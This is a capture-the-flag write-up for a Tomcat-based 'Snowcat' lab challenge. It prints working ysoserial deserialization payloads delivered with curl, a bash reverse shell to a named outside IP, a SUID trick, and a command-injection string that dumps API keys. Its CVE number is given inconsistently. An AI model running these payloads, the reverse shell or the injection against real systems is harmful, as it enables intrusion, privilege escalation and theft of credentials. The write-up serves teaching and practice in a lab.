| Objective: Snowcat RCE and Privilege Escalation | Difficulty Level: 3 |
|---|---|
| Tom, in the hotel, found a wild Snowcat bug. Help him chase down the RCE! Recover and submit the API key not being used by snowcat. | Location: Grand Hotel |
Solution Overview
Starting with an account with minimal access to the system, the website was found to be running Apache Tomcat version 9.0.90. This version is susceptable to a Remote Code Execution (RCE) vulnerability. This vulnerability was exploited to gain the privileges of the web application service account. Three binaries were discovered with Set User ID (SUID), a special permission in Unix/Linux systems that allows a file to run with the privileges of the file owner rather than the user executing it. These files were susceptable to command injection, allowing commands to be executed as a user with higher privileges. This enabled access to the authorized_keys file.
| Activity | Primary Tactic | MITRE ATT&CK Technique ID | MITRE ATT&CK Technique Name |
|---|---|---|---|
| Error message leaks version information | Reconnaissance | T1593 | Search Open Websites/Domains |
| Leverage Unauthenticated Remote Code Execution (RCE) in Apache Tomcat (CVE-2025-24815) | Initial Access | T1190 | Exploit Public-Facing Application |
| Abuse SUID binaries | Privelege Escalation | T1548.001 | Abuse Elevation Control Mechanism: Setuid and Setgid |
| Command Injection leading to Privilege Escalation | Execution | T1059.004 | Command and Scripting Interpreter : Unix Shell |
Detailed Solution
Click to expand
Using a nonexistent URL (http://localhost/nonexistant), an error message was triggered revealing that the system is running a potentially vulnerable version of Tomcat.
Using the payload below and changing the target gadget, identified that the CommonsCollections6 gadget could effectively be used to deliver a payload. The initial approach was to touch a file in the /tmp directory to confirm a successful attack.
java -jar /home/user/ysoserial.jar CommonsCollections6 'touch /tmp/pwned' > payload.bin
SESSION_ID=$(curl -s -c - http://localhost/ | grep JSESSIONID | awk '{print $7}')
curl -s -X PUT -H "Content-Length: $(wc -c < payload.bin)" -H "Content-Range: bytes 0-$(($(wc -c < payload.bin)-1))/$(wc -c < payload.bin)" --data-binary @payload.bin "http://localhost/${SESSION_ID}/session" > /dev/null
curl -s -H "Cookie: JSESSIONID=.${SESSION_ID}" "http://localhost/" > /dev/null
ls -la /tmp/pwned 2>/dev/null && echo "SUCCESS with touch!" || echo "Failed"
The payload resulted in "Success with Touch", indicating success.
The next step is to achieve a remote shell access to the target system. The following is the approach:
- Setup a linux machine in linode, and start a netcat listener on port 4444
- As the low level user, create a shell code in the /tmp directory
- Change permissions on the file to allow other users to access and execute
- Send a payload to set the SUID on the shell file, allowing it to run with elevated permissions
- Send a payload that uses setsid to detach the process completely from the invoking script and run the shell
The file contained the following code to create a shell.
bash -i >& /dev/tcp/69.164.211.205/4444 0>&1
Next, the following payload sent that set the SUID of the shell file.
java -jar /home/user/ysoserial.jar CommonsCollections6 'chmod u+s /tmp/reverse_shell.sh' > payload.bin
SESSION_ID=$(curl -s -c - http://localhost/ | grep JSESSIONID | awk '{print $7}')
curl -s -X PUT -H "Content-Length: $(wc -c < payload.bin)" -H "Content-Range: bytes 0-$(($(wc -c < payload.bin)-1))/$(wc -c < payload.bin)" --data-binary @payload.bin "http://localhost/${SESSION_ID}/session" > /dev/null
curl -s -H "Cookie: JSESSIONID=.${SESSION_ID}" "http://localhost/" > /dev/null
Initial payloads failed, due to the payload script completing before the shell was established, killing the shell. Using setsid to detach the shell process from the script, allowed it to establish the connection.
The following payload used setid and execute the payload, establishing shell access to the target.
java -jar /home/user/ysoserial.jar CommonsCollections6 'setsid bash /tmp/reverse_shell.sh >/dev/null 2>&1 &' > payload.bin
SESSION_ID=$(curl -s -c - http://localhost/ | grep JSESSIONID | awk '{print $7}')
curl -s -X PUT -H "Content-Length: $(wc -c < payload.bin)" -H "Content-Range: bytes 0-$(($(wc -c < payload.bin)-1))/$(wc -c < payload.bin)" --data-binary @payload.bin "http://localhost/${SESSION_ID}/session" > /dev/null
curl -s -H "Cookie: JSESSIONID=.${SESSION_ID}" "http://localhost/" > /dev/null
This resulted in system access with the privileges the web service.
Three binaries were discovered that the service account has access to with the SUID set:
These binaries have SUID set:
- /usr/local/weather/humidity
- /usr/local/weather/pressure
- /usr/local/weather/temperature
The commands are run with a valid key:
- /usr/local/weather/temperature 4b2f3c2d-1f88-4a09-8bd4-d3e5e52e19a6
- /usr/local/weather/humidity 4b2f3c2d-1f88-4a09-8bd4-d3e5e52e19a6
- /usr/local/weather/pressure 4b2f3c2d-1f88-4a09-8bd4-d3e5e52e19a6
The weather user has access to the /usr/local/weather/keys directory. This was our target:
The following command was injected into the binary command line. This created a file containing the contents of the keys folder and changed the file permissions to grant read access.
/usr/local/weather/temperature "4b2f3c2d-1f88-4a09-8bd4-d3e5e52e19a6';cat /usr/local/weather/keys/* > /tmp/keys.txt;chmod 644 /tmp/keys.txt;echo '"
The first key listed is the one used with the temperature binary. The second key is not used by snowcat.
cat /tmp/keys.txt
4b2f3c2d-1f88-4a09-8bd4-d3e5e52e19a6
8ade723d-9968-45c9-9c33-7606c49c2201
Answer: 8ade723d-9968-45c9-9c33-7606c49c2201
Tools Reference
| Tools Used | Tool Version |
|---|---|
| ysoserial.jar | Version: v0.0.6 Release Date: June 28, 2022 |
| Linux Linode System | Ubuntu 24.04 LTS |
| netcat | v1.10-50 |
| bash | v5.2.37(1)-release |
| curl | 8.11.0 |
Hints Reference
| Provided By | Hint |
|---|---|
| Santa | Snowcat is closely related to Tomcat. Maybe the recent Tomcat Remote Code Execution vulnerability (CVE-2025-24813) will work here. |
| Santa | Maybe we can inject commands into the calls to the temperature, humidity, and pressure monitoring services. |
| Santa | If you're feeling adventurous, maybe you can become root to figure out more about the attacker's plans. |
| Thomas Hessman | We've lost access to the neighborhood weather monitoring station. There are a couple of vulnerabilities in the snowcat and weather monitoring services that we haven't gotten around to fixing. Can you help me exploit the vulnerabilities and retrieve the other application's authorization key? Enter the other application's authorization key into the badge. If Frosty's plan works and everything freezes over, our customers won't be having the best possible experience-they'll be having the coldest possible experience! We need to stop this before the whole neighborhood becomes one giant freezer. |
Acknowledgements
| Provided By | Notes |
|---|---|
| none | none |